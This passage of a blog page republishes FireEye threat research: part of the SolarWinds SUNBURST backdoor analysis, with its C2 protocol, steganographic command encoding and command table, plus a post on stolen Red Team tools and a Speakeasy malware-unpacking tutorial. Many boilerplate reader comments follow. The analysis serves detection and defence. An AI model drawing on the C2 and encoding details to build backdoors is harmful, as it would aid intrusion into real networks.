connectivity checks pass, the sample starts generating domains in a while loop via its DGA. The sample will delay for random intervals between the generation of domains; this interval may be any random value from the ranges 1 to 3 minutes, 30 to 120 minutes, or on error conditions up to 420 to 540 minutes (9 hours). The DNS A record of generated domains is checked against a hardcoded list of IP address blocks which control the malware’s behavior. Records within the following ranges will terminate the malware and update the configuration key ReportWatcherRetry to a value that prevents further execution: 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 224.0.0.0/3 fc00:: – fe00:: fec0:: – ffc0:: ff00:: – ff00:: 20.140.0.0/15 96.31.172.0/24 131.228.12.0/22 144.86.226.0/24 Once a domain has been successfully retrieved in a CNAME DNS response the sample will spawn a new thread of execution invoking the method HttpHelper.Initialize which is responsible for all C2 communications and dispatching. The HTTP thread begins by delaying for a configurable amount of time that is controlled by the SetTime command. The HTTP thread will delay for a minimum of 1 minute between callouts. The malware uses HTTP GET or HTTP POST requests. If the sample is attempting to send outbound data the content-type HTTP header will be set to “application/octet-stream” otherwise to “application/json”. A JSON payload is present for all HTTP POST and PUT requests and contains the keys “userId”, “sessionId”, and “steps”. The “steps” field contains a list of objects with the following keys: “Timestamp”, “Index”, “EventType”, “EventName”, “DurationMs”, “Succeeded”, and “Message”. The JSON key “EventType” is hardcoded to the value “Orion”, and the “EventName” is hardcoded to “EventManager”. Malware response messages to send to the server are DEFLATE compressed and single-byte-XOR encoded, then split among the “Message” fields in the “steps” array. Each “Message” value is Base64 encoded separately. Not all objects in the “steps” array contribute to the malware message – the integer in the “Timestamp” field must have the 0x2 bit set to indicate that the contents of the “Message” field are used in the malware message. Step objects whose bit 0x2 is clear in the Timestamp field contain random data and are discarded when assembling the malware response. Steganography In observed traffic these HTTP response bodies attempt to appear like benign XML related to .NET assemblies, but command data is actually spread across the many GUID and HEX strings present. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: “\{[0-9a-f-]{36}\}”|”[0-9a-f]{32}”|”[0-9a-f]{16}”. Command data is spread across multiple strings that are disguised as GUID and HEX strings. All matched substrings in the response are filtered for non HEX characters, joined together, and HEX-decoded. The first DWORD value shows the actual size of the message, followed immediately with the message, with optional additional junk bytes following. The extracted message is single-byte XOR decoded using the first byte of the message, and this is then DEFLATE decompressed. The first character is an ASCII integer that maps to the JobEngine enum, with optional additional command arguments delimited by space characters. Commands are then dispatched to a JobExecutionEngine based upon the command value as described next. Supported Commands Command Value Operation Idle 0 No operation Exit 1 Terminate the current thread. SetTime 2 Sets the delay time between main event loop executions Delay is in seconds, and varies random between [.9 * <delay>, 1.1 * <delay>].          If the delay is < 300 it is doubled on the next execution through the loop, this means it should settle onto an interval of around [5, 10] minutes.         There is a second, unrelated delay routine that delays for a random interval between [16hrs, 83hrs] CollectSystemDescription 3 Profile the local system including hostname, username, OS version, MAC addresses, IP address, DHCP configuration, and domain information. UploadSystemDescription 4 Perform a HTTP request to the specified URL, parse the results and compare components against unknown hashed values. Format a report and send to the C2 server. RunTask 5 Starts a new process with the given file path and arguments GetProcessByDescription 6 Returns a process listing. If no arguments are provided returns just the PID and process name.        If an argument is provided it also returns the parent PID and username and domain for the process owner.   KillTask 7 Terminate the given process, by PID. GetFileSystemEntries 8 Given a path and an optional match pattern recursively list files and directories WriteFile 9 Given a file path and a Base64 encoded string write the contents of the Base64 decoded string to the given file path. Write using append mode. Delay for [1s, 2s] after writing is done. FileExists 10 Tests whether the given file path exists. DeleteFile 11 Deletes the specified file path. GetFileHash 12 Compute the MD5 of a file at a given path and return result as a HEX string. If an argument is provided, it is the expected MD5 hash of the file and returns an error if the calculated MD5 differs.   ReadRegistryValue 13 Arbitrary registry read from one of the supported hives SetRegistryValue 14 Arbitrary registry write from one of the supported hives. DeleteRegistryValue 15 Arbitrary registry delete from one of the supported hives GetRegistrySubKeyAndValueNames   16 Returns listing of subkeys and value names beneath the given registry path Reboot 17 Attempts to immediately trigger a system reboot. Indicators and Detections to Help the Community To empower the community to detect this supply chain backdoor, we are publishing indicators and detections to help organizations identify this backdoor and this threat actor. The signatures are a mix of Yara, IOC, and Snort formats. A list of the detections and signatures are available on the FireEye GitHub repository found here. We are releasing detections and will continue to update the public repository with overlapping detections for host and network-based indicators as we develop new or refine existing ones. We have found multiple hashes with this backdoor and we will post updates of those hashes. MITRE ATT&CK Techniques Observed ID Description T1012 Query Registry T1027 Obfuscated Files or Information T1057 Process Discovery T1070.004 File Deletion T1071.001 Web Protocols T1071.004 Application Layer Protocol: DNS T1083 File and Directory Discovery T1105 Ingress Tool Transfer T1132.001 Standard Encoding T1195.002 Compromise Software Supply Chain T1518 Software Discovery T1518.001 Security Software Discovery T1543.003 Windows Service T1553.002 Code Signing T1568.002 Domain Generation Algorithms T1569.002 Service Execution T1584 Compromise Infrastructure Immediate Mitigation Recommendations Prior to following SolarWind’s recommendation to utilize Orion Platform release 2020.2.1 HF 1, which is currently available via the SolarWinds Customer Portal, organizations should consider preserving impacted devices and building new systems using the latest versions. Applying an upgrade to an impacted box could potentially overwrite forensic evidence as well as leave any additional backdoors on the system. In addition, SolarWinds has released additional mitigation and hardening instructions here. In the event you are unable to follow SolarWinds’ recommendations, the following are immediate mitigation techniques that could be deployed as first steps to address the risk of trojanized SolarWinds software in an environment. If attacker activity is discovered in an environment, we recommend conducting a comprehensive investigation and designing and executing a remediation strategy driven by the investigative findings and details of the impacted environment. Ensure that SolarWinds servers are isolated / contained until a further review and investigation is conducted. This should include blocking all Internet egress from SolarWinds servers. If SolarWinds infrastructure is not isolated, consider taking the following steps:Restrict scope of connectivity to endpoints from SolarWinds servers, especially those that would be considered Tier 0 / crown jewel assets Restrict the scope of accounts that have local administrator privileged on SolarWinds servers. Block Internet egress from servers or other endpoints with SolarWinds software. Consider (at a minimum) changing passwords for accounts that have access to SolarWinds servers / infrastructure. Based upon further review / investigation, additional remediation measures may be required. If SolarWinds is used to managed networking infrastructure, consider conducting a review of network device configurations for unexpected / unauthorized modifications. Note, this is a proactive measure due to the scope of SolarWinds functionality, not based on investigative findings. Acknowledgements This blog post was the combined effort of numerous personnel and teams across FireEye coming together. Special thanks to: Andrew Archer, Doug Bienstock, Chris DiGiamo, Glenn Edwards, Nick Hornick, Alex Pennino, Andrew Rector, Scott Runnels, Eric Scales, Nalani Fraser, Sarah Jones, John Hultquist, Ben Read, Jon Leathery, Fred House, Dileep Jallepalli, Michael Sikorski, Stephen Eckels, William Ballenthin, Jay Smith, Alex Berry, Nick Richard, Isif Ibrahima, Dan Perez, Marcin Siedlarz, Ben Withnell, Barry Vengerik, Nicole Oppenheim, Ian Ahl, Andrew Thompson, Matt Dunwoody, Evan Reese, Steve Miller, Alyssa Rahman, John Gorman, Lennard Galang, Steve Stone, Nick Bennett, Matthew McWhirt, Mike Burns, Omer Baig. Also special thanks to Nick Carr, Christopher Glyer, and Ramin Nafisi from Microsoft.

  • Unauthorized Access of FireEye Red Team Tools
    by FireEye on December 8, 2020 at 9:00 pm

    Overview A highly sophisticated state-sponsored adversary stole FireEye Red Team tools. Because we believe that an adversary possesses these tools, and we do not know whether the attacker intends to use the stolen tools themselves or publicly disclose them, FireEye is releasing hundreds of countermeasures with this blog post to enable the broader security community to protect themselves against these tools. We have incorporated the countermeasures in our FireEye products—and shared these countermeasures with partners, government agencies—to significantly limit the ability of the bad actor to exploit the Red Team tools. You can find a list of the countermeasures on the FireEye GitHub repository found HERE . Red Team Tools and Techniques A Red Team is a group of security professionals authorized and organized to mimic a potential adversary’s attack or exploitation capabilities against an enterprise’s security posture. Our Red Team’s objective is to improve enterprise cyber security by demonstrating the impacts of successful attacks and by showing the defenders (i.e., the Blue Team) how to counter them in an operational environment. We have been performing Red Team assessments for customers around the world for over 15 years. In that time, we have built up a set of scripts, tools, scanners, and techniques to help improve our clients’ security postures. Unfortunately, these tools were stolen by a highly sophisticated attacker. The stolen tools range from simple scripts used for automating reconnaissance to entire frameworks that are similar to publicly available technologies such as CobaltStrike and Metasploit. Many of the Red Team tools have already been released to the community and are already distributed in our open-source virtual machine, CommandoVM. Some of the tools are publicly available tools modified to evade basic security detection mechanisms. Other tools and frameworks were developed in-house for our Red Team. No Zero-Day Exploits or Unknown Techniques The Red Team tools stolen by the attacker did not contain zero-day exploits. The tools apply well-known and documented methods that are used by other red teams around the world. Although we do not believe that this theft will greatly advance the attacker’s overall capabilities, FireEye is doing everything it can to prevent such a scenario.  It’s important to note that FireEye has not seen these tools disseminated or used by any adversaries, and we will continue to monitor for any such activity along with our security partners. Detections to Help the Community To empower the community to detect these tools, we are publishing countermeasures to help organizations identify these tools if they appear in the wild. In response to the theft of our Red Team tools, we have released hundreds of countermeasures for publicly available technologies like OpenIOC, Yara, Snort, and ClamAV. A list of the countermeasure is available on the FireEye GitHub repository found here. We are releasing detections and will continue to update the public repository with overlapping countermeasures for host, network, and file-based indicators as we develop new or refine existing detections. In addition, we are publishing a list of CVEs that need to be addressed to limit the effectiveness of the Red Team tools on the GitHub page. FireEye Products Protect Customers Against These Tools Teams across FireEye have worked to build the countermeasures to protect our customers and the broader community. We have incorporated these countermeasures into our products and shared these countermeasures with our partners, including the Department of Homeland Security, who have incorporated the countermeasures into their products to provide broad coverage for the community. More information on the detection signatures available can be found in the GitHub repository.

  • Using Speakeasy Emulation Framework Programmatically to Unpack Malware
    by James T. Bennett on December 1, 2020 at 8:30 pm

    Andrew Davis recently announced the public release of his new Windows emulation framework named Speakeasy. While the introductory blog post focused on using Speakeasy as an automated malware sandbox of sorts, this entry will highlight another powerful use of the framework: automated malware unpacking. I will demonstrate, with code examples, how Speakeasy can be used programmatically to: Bypass unsupported Windows APIs to continue emulation and unpacking Save virtual addresses of dynamically allocated code using API hooks Surgically direct execution to key areas of code using code hooks Dump an unpacked PE from emulator memory and fix its section headers Aid in reconstruction of import tables by querying Speakeasy for symbolic information Initial Setup One approach to interfacing with Speakeasy is to create a subclass of Speakeasy’s Speakeasy class. Figure 1 shows a Python code snippet that sets up such a class that will be expanded in upcoming examples. import speakeasy class MyUnpacker(speakeasy.Speakeasy):     def __init__(self, config=None):         super(MyUnpacker, self).__init__(config=config) Figure 1: Creating a Speakeasy subclass The code in Figure 1 accepts a Speakeasy configuration dictionary that may be used to override the default configuration. Speakeasy ships with several configuration files. The Speakeasy class is a wrapper class for an underlying emulator class. The emulator class is chosen automatically when a binary is loaded based on its PE headers or is specified as shellcode. Subclassing Speakeasy makes it easy to access, extend, or modify interfaces. It also facilitates reading and writing stateful data before, during, and after emulation. Emulating a Binary Figure 2 shows how to load a binary into the Speakeasy emulator. self.module = self.load_module(filename) Figure 2: Loading the binary into the emulator The load_module function returns a PeFile object for the provided binary on disk. It is an instance of the PeFile class defined in speakeasy/windows/common.py, which is subclassed from pefile’s PE class. Alternatively, you can provide the bytes of a binary using the data parameter rather than specifying a file name. Figure 3 shows how to emulate a loaded binary. self.run_module(self.module) Figure 3: Starting emulation API Hooks The Speakeasy framework ships with support for hundreds of Windows APIs with more being added frequently. This is accomplished via Python API handlers defined in appropriate files in the speakeasy/winenv/api directory. API hooks can be installed to have your own code executed when particular APIs are called during emulation. They can be installed for any API, regardless of whether a handler exists or not. An API hook can be used to override an existing handler and that handler can optionally be invoked from your hook. The API hooking mechanism in Speakeasy provides flexibility and control over emulation. Let’s examine a few uses of API hooking within the context of emulating unpacking code to retrieve an unpacked payload. Bypassing Unsupported APIs When Speakeasy encounters an unsupported Windows API call, it stops emulation and provides the name of the API function that is not supported. If the API function in question is not critical for unpacking the binary, you can add an API hook that simply returns a value that allows execution to continue. For example, a recent sample’s unpacking code contained API calls that had no effect on the unpacking process. One such API call was to GetSysColor. In order to bypass this call and allow execution to continue, an API hook may be added as shown in Figure 4. self.add_api_hook(self.getsyscolor_hook,                   ‘user32’,                   ‘GetSysColor’,                   argc=1                   ) Figure 4: Adding an API hook According to MSDN, this function takes 1 parameter and returns an RGB color value represented as a DWORD. If the calling convention for the API function you are hooking is not stdcall, you can specify the calling convention in the optional call_conv parameter. The calling convention constants are defined in the speakeasy/common/arch.py file. Because the GetSysColor return value does not impact the unpacking process, we can simply return 0. Figure 5 shows the definition of the getsyscolor_hook function specified in Figure 4. def getsyscolor_hook(self, emu, api_name, func, params):             return 0 Figure 5: The GetSysColor hook returns 0 If an API function requires more finessed handling, you can implement a more specific and meaningful hook that suits your needs. If your hook implementation is robust enough, you might consider contributing it to the Speakeasy project as an API handler!   Adding an API Handler Within the speakeasy/winenv/api directory you’ll find usermode and kernelmode subdirectories that contain Python files for corresponding binary modules. These files contain the API handlers for each module. In usermode/kernel32.py, we see a handler defined for SetEnvironmentVariable as shown in Figure 6. 1: @apihook(‘SetEnvironmentVariable’, argc=2) 2: def SetEnvironmentVariable(self, emu, argv, ctx={}): 3:     ”’ 4:     BOOL SetEnvironmentVariable( 5:         LPCTSTR lpName, 6:         LPCTSTR lpValue 7:         ); 8:     ”’ 9:     lpName, lpValue = argv 10:    cw = self.get_char_width(ctx) 11:    if lpName and lpValue: 12:        name = self.read_mem_string(lpName, cw) 13:        val = self.read_mem_string(lpValue, cw) 14:        argv[0] = name 15:        argv[1] = val 16:        emu.set_env(name, val) 17:    return True Figure 6: API handler for SetEnvironmentVariable A handler begins with a function decorator (line 1) that defines the name of the API and the number of parameters it accepts. At the start of a handler, it is good practice to include MSDN’s documented prototype as a comment (lines 3-8). The handler’s code begins by storing elements of the argv parameter in variables named after their corresponding API parameters (line 9). The handler’s ctx parameter is a dictionary that contains contextual information about the API call. For API functions that end in an ‘A’ or ‘W’ (e.g., CreateFileA), the character width can be retrieved by passing the ctx parameter to the get_char_width function (line 10). This width value can then be passed to calls such as read_mem_string (lines 12 and 13), which reads the emulator’s memory at a given address and returns a string. It is good practice to overwrite string pointer values in the argv parameter with their corresponding string values (lines 14 and 15). This enables Speakeasy to display string values instead of pointer values in its API logs. To illustrate the impact of updating argv values, examine the Speakeasy output shown in Figure 7. In the VirtualAlloc entry, the symbolic constant string PAGE_EXECUTE_READWRITE replaces the value 0x40. In the GetModuleFileNameA and CreateFileA entries, pointer values are replaced with a file path. KERNEL32.VirtualAlloc(0x0, 0x2b400, 0x3000, “PAGE_EXECUTE_READWRITE”) -> 0x7c000 KERNEL32.GetModuleFileNameA(0x0, “C:\\Windows\\system32\\sample.exe”, 0x104) -> 0x58 KERNEL32.CreateFileA(“C:\\Windows\\system32\\sample.exe”, “GENERIC_READ”, 0x1, 0x0, “OPEN_EXISTING”, 0x80, 0x0) -> 0x84 Figure 7: Speakeasy API logs Saving the Unpacked Code Address Packed samples often use functions such as VirtualAlloc to allocate memory used to store the unpacked sample. An effective approach for capturing the location and size of the unpacked code is to first hook the memory allocation function used by the unpacking stub. Figure 8 shows an example of hooking VirtualAlloc to capture the virtual address and amount of memory being allocated by the API call. 1: def virtualalloc_hook(self, emu, api_name, func, params): 2:     ”’ 3:     LPVOID VirtualAlloc( 4:        LPVOID lpAddress, 5:        SIZE_T dwSize, 6:        DWORD  flAllocationType, 7:        DWORD  flProtect 8:      ); 9:     ”’ 10:    PAGE_EXECUTE_READWRITE = 0x40 11:    lpAddress, dwSize, flAllocationType, flProtect = params 12:    rv = func(params) 13:    if lpAddress == 0 and flProtect == PAGE_EXECUTE_READWRITE: 14:        self.logger.debug(“[*] unpack stub VirtualAlloc call, saving dump info”) 15:        self.dump_addr = rv 16:        self.dump_size = dwSize 17:    return rv Figure 8: VirtualAlloc hook to save memory dump information The hook in Figure 8 calls Speakeasy’s API handler for VirtualAlloc on line 12 to allow memory to be allocated. The virtual address returned by the API handler is saved to a variable named rv. Since VirtualAlloc may be used to allocate memory not related to the unpacking process, additional checks are used on line 13 to confirm the intercepted VirtualAlloc call is the one used in the unpacking code. Based on prior analysis, we’re looking for a VirtualAlloc call that receives the lpAddress value 0 and the flProtect value PAGE_EXECUTE_READWRITE (0x40). If these arguments are present, the virtual address and specified size are stored on lines 15 and 16 so they may be used to extract the unpacked payload from memory after the unpacking code is finished. Finally, on line 17, the return value from the VirtualAlloc handler is returned by the hook. Surgical Code Emulation Using API and Code Hooks Speakeasy is a robust emulation framework; however, you may encounter binaries that have large sections of problematic code. For example, a sample may call many unsupported APIs or simply take far too long to emulate. An example of overcoming both challenges is described in the following scenario. Unpacking Stubs Hiding in MFC Projects A popular technique used to disguise malicious payloads involves hiding them inside a large, open-source MFC project. MFC is short for Microsoft Foundation Class, which is a popular library used to build Windows desktop applications. These MFC projects are often arbitrarily chosen from popular Web sites such as Code Project. While the MFC library makes it easy to create desktop applications, MFC applications are difficult to reverse engineer due to their size and complexity. They are particularly difficult to emulate due to their large initialization routine that calls many different Windows APIs. What follows is a description of my experience with writing a Python script using Speakeasy to automate unpacking of a custom packer that hides its unpacking stub within an MFC project. Reverse engineering the packer revealed the unpacking stub is ultimately called during initialization of the CWinApp object, which occurs after initialization of the C runtime and MFC. After attempting to bypass unsupported APIs, I realized that, even if successful, emulation would take far too long to be practical. I considered skipping over the initialization code completely and jumping straight to the unpacking stub. Unfortunately, execution of the C-runtime initialization code was required in order for emulation of the unpacking stub to succeed. My solution was to identify a location in the code that fell after the C-runtime initialization but was early in the MFC initialization routine. After examining the Speakeasy API log shown in Figure 9, such a location was easy to spot. The graphics-related API function GetDeviceCaps is invoked early in the MFC initialization routine. This was deduced based on 1) MFC is a graphics-dependent framework and 2) GetDeviceCaps is unlikely to be called during C-runtime initialization. 0x43e0a7: ‘kernel32.FlsGetValue(0x0)’ -> 0x4150 0x43e0e3: ‘kernel32.DecodePointer(0x7049)’ -> 0x7048 0x43b16a: ‘KERNEL32.HeapSize(0x4130, 0x0, 0x7000)’ -> 0x90 0x43e013: ‘KERNEL32.TlsGetValue(0x0)’ -> 0xfeee0001 0x43e02a: ‘KERNEL32.TlsGetValue(0x0)’ -> 0xfeee0001 0x43e02c: ‘kernel32.FlsGetValue(0x0)’ -> 0x4150 0x43e068: ‘kernel32.EncodePointer(0x44e215)’ -> 0x44e216 0x43e013: ‘KERNEL32.TlsGetValue(0x0)’ -> 0xfeee0001 0x43e02a: ‘KERNEL32.TlsGetValue(0x0)’ -> 0xfeee0001 0x43e02c: ‘kernel32.FlsGetValue(0x0)’ -> 0x4150 0x43e068: ‘kernel32.EncodePointer(0x704c)’ -> 0x704d 0x43c260: ‘KERNEL32.LeaveCriticalSection(0x466f28)’ -> None 0x422151: ‘USER32.GetSystemMetrics(0xb)’ -> 0x1 0x422158: ‘USER32.GetSystemMetrics(0xc)’ -> 0x1 0x42215f: ‘USER32.GetSystemMetrics(0x2)’ -> 0x1 0x422169: ‘USER32.GetSystemMetrics(0x3)’ -> 0x10x422184: ‘GDI32.GetDeviceCaps(0x288, 0x58)’ -> None Figure 9: Identifying beginning of MFC code in Speakeasy API logs To intercept execution at this stage I created an API hook for GetDeviceCaps as shown in Figure 10. The hook confirms the function is being called for the first time on line 2. 1: def mfc_init_hook(self, emu, api_name, func, params): 2:     if not self.trigger_hit: 3:         self.trigger_hit = True 4:         self.h_code_hook =   self.add_code_hook(self.start_unpack_func_hook) 5:         self.logger.debug(“[*] MFC init api hit, starting unpack function”) Figure 10: API hook set for GetDeviceCaps Line 4 shows the creation of a code hook using the add_code_hook function of the Speakeasy class. Code hooks allow you to specify a callback function that is called before each instruction that is emulated. Speakeasy also allows you to optionally specify an address range for which the code hook will be effective by specifying begin and end parameters. After the code hook is added on line 4, the GetDeviceCaps hook completes and, prior to the execution of the sample’s next instruction, the start_unpack_func_hook function is called. This function is shown in Figure 11. 1: def start_unpack_func_hook(self, emu, addr, size, ctx): 2:     self.h_code_hook.disable() 3:     unpack_func_va = self.module.get_rva_from_offset(self.unpack_offs) + self.module.get_base() 4:     self.set_pc(unpack_func_va) Figure 11: Code hook that changes the instruction pointer The code hook receives the emulator object, the address and size of the current instruction, and the context dictionary (line 1). On line 2, the code hook disables itself. Because code hooks are executed with each instruction, this slows emulation significantly. Therefore, they should be used sparingly and disabled as soon as possible. On line 3, the hook calculates the virtual address of the unpacking function. The offset used to perform this calculation was located using a regular expression. This part of the example was omitted for the sake of brevity. The self.module attribute was previously set in the example code shown in Figure 2. It being subclassed from the PE class of pefile allows us to access useful functions such as get_rva_from_offset() on line 3. This line also includes an example of using self.module.get_base() to retrieve the module’s base virtual address. Finally, on line 4, the instruction pointer is changed using the set_pc function and emulation continues at the unpacking code. The code snippets in Figure 10 and Figure 11 allowed us to redirect execution to the unpacking code after the C-runtime initialization completed and avoid MFC initialization code. Dumping and Fixing Unpacked PEs Once emulation has reached the original entry point of the unpacked sample, it is time to dump the PE and fix it up. Typically, a hook would save the base address of the unpacked PE in an attribute of the class as illustrated on line 15 of Figure 8. If the unpacked PE does not contain the correct entry point in its PE headers, the true entry point may also need to be captured during emulation. Figure 12 shows an example of how to dump emulator memory to a file. with open(self.output_path, “wb”) as up:     mm = self.get_address_map(self.dump_addr)     up.write(self.mem_read(mm.get_base(), mm.get_size())) Figure 12: Dumping the unpacked PE If you are dumping a PE that has already been loaded in memory, it will not have the same layout as it does on disk due to differences in section alignment. As a result, the dumped PE’s headers may need to be modified. One approach is to modify each section’s PointerToRawData value to match its VirtualAddress field. Each section’s SizeOfRawData value may need to be padded in order conform with the FileAlignment value specified in the PE’s optional headers. Keep in mind the resulting PE is unlikely to execute successfully. However, these efforts will allow most static analysis tools to function correctly. The final step for repairing the dumped PE is to fix its import table. This is a complex task deserving of its own blog post and will not be discussed in detail here. However, the first step involves collecting a list of library function names and their addresses in emulator memory. If you know the GetProcAddress API is used by the unpacker stub to resolve imports for the unpacked PE, you can call the get_dyn_imports function as shown in Figure 13. api_addresses = self.get_dyn_imports() Figure 13: Retrieving dynamic imports Otherwise, you can query the emulator class to retrieve its symbol information by calling the get_symbols function as shown in Figure 14. symbols = self.get_symbols() Figure 14: Retrieve symbol information from emulator class This data can be used to discover the IAT of the unpacked PE and fix or reconstruct its import related tables. Putting It All Together Writing a Speakeasy script to unpack a malware sample can be broken down into the following steps: Reverse engineer the unpacking stub to identify: 1) where the unpacked code will reside or where its memory is allocated, 2) where execution is transferred to the unpacked code, and 3) any problematic code that may introduce issues such as unsupported APIs, slow emulation, or anti-analysis checks. If necessary, set hooks to bypass problematic code. Set a hook to identify the virtual address and, optionally, the size of the unpacked binary. Set a hook to stop emulation at, or after, execution of the original entry point of the unpacked code. Collect virtual addresses of Windows APIs and reconstruct the PE’s import table. Fix the PE’s headers (if applicable) and write the bytes to a file for further analysis. For an example of a script that unpacks UPX samples, check out the UPX unpacking script in the Speakeasy repository. Conclusion The Speakeasy framework provides an easy-to-use, flexible, and powerful programming interface that enables analysts to solve complex problems such as unpacking malware. Using Speakeasy to automate these solutions allows them to be performed at scale. I hope you enjoyed this introduction to automating the Speakeasy framework and are inspired to begin using it to implement your own malware analysis solutions!

Share This Information.

51 thoughts on “FireEye Threat Research

  1. What’s up to all, the contents present at this web page are truly remarkable for people experience, well, keep up the good work.

  2. This is very interesting, You’re a very skilled blogger. I have joined your feed and look forward to seeking more of your fantastic post. Also, I have shared your website in my social networks!

  3. This is a very good tip especially to those fresh to the blogosphere.
    Brief but very accurate information… Thanks for sharing this one.
    A must read post!

  4. It’s actually a cool and helpful piece of info. I’m happy that you just shared this helpful info with us. Please stay us up to date like this. Thanks for sharing.

  5. Thank you, I’ve recently been looking for this info for a long time and yours is the greatest I’ve discovered so far.

  6. Hi! Do you know if they make any plugins to protect against hackers? I’m kinda paranoid about losing everything I’ve worked hard on. Any recommendations?

    1. Hi Maribel,

      A determined hacker will always be able to penetrate a website but you can use plugins like wordfence security and ithemes security to harden your website to make it more difficult we also suggest using cloudflare as well.

      cheers,
      Websitecyber

  7. This post will assist the internet people for setting up new website or even a blog from start to end.

  8. What’s Happening I am new to this, I stumbled upon websitecyber and I’ve discovered It absolutely helpful and it has helped me out loads. I am hoping to give a contribution & aid other users like its helped me.
    Good job.

  9. You can certainly see your expertise in the article you
    write. The arena hopes for even more passionate writers like you who
    aren’t afraid to mention how they believe. Always go after your heart.

  10. I enjoy what you guys are up too. This type of clever work and reporting!
    Keep up the wonderful works guys I’ve incorporated you
    guys to my own blogroll.

  11. I wanted to thank you for this good read!! I certainly enjoyed every bit of it.
    I’ve got you saved as a favourite to check out new stuff you post.

  12. What’s up to every one, the contents existing at this web site are genuinely awesome for people experience, well, keep up the good work fellows.

  13. Nice post. I was checking constantly this blog and I’m impressed!
    Very useful info specifically the last part 🙂 I care for such info much.
    I was seeking this particular info for a very long time.
    Thank you and best of luck.

  14. If some one needs to be updated with newest technologies then they must be pay a visit to websitecyber and be up to date all the time.

  15. Woah! I’m really digging the template/theme of this site.
    It’s simple, yet effective. A lot of times it’s tough to get that “perfect balance” between user friendliness and visual appeal.
    I must say you’ve done a very good job with this.
    In addition, the blog loads very quick for me on Chrome.

    Outstanding Blog!

  16. Hello there, You have done a fantastic job.
    I will definitely digg it and personally recommend to my friends.
    I am sure they’ll be benefited from this web site.

  17. Great post. I was checking constantly this weblog and I am impressed!
    Very useful info particularly the last section 🙂 I care for
    such info much. I used to be looking for this certain information for a very long time.
    Thank you and good luck.

  18. Your style is so unique compared to other people I have read stuff from.
    Thank you for posting when you have the opportunity, Guess I will just bookmark this page.

  19. Hi there! I just wish to give you a big thumbs up for the great information you have right here on this post.
    I’ll be coming back to your website for more soon.

  20. Thanks for this posting! I truly enjoyed reading it. I will make sure to bookmark your blog and may come back in the future. I want to encourage you to ultimately continue your great work, have a nice morning!

  21. It’s a pity you don’t have a donate button on websitecyber.com . I’d most certainly donate to this excellent
    blog! I guess for now i’ll settle for bookmarking and adding your RSS feed to my Google account.

    I look forward to fresh updates and will talk about this
    blog with my Facebook group. Chat soon!

  22. I blog quite often and I seriously thank you for your content.
    This great article has really peaked my interest. I am going to bookmark your website and keep
    checking for new information about once a week.
    I opted in for your RSS feed as well.

Leave a Reply

Your email address will not be published. Required fields are marked *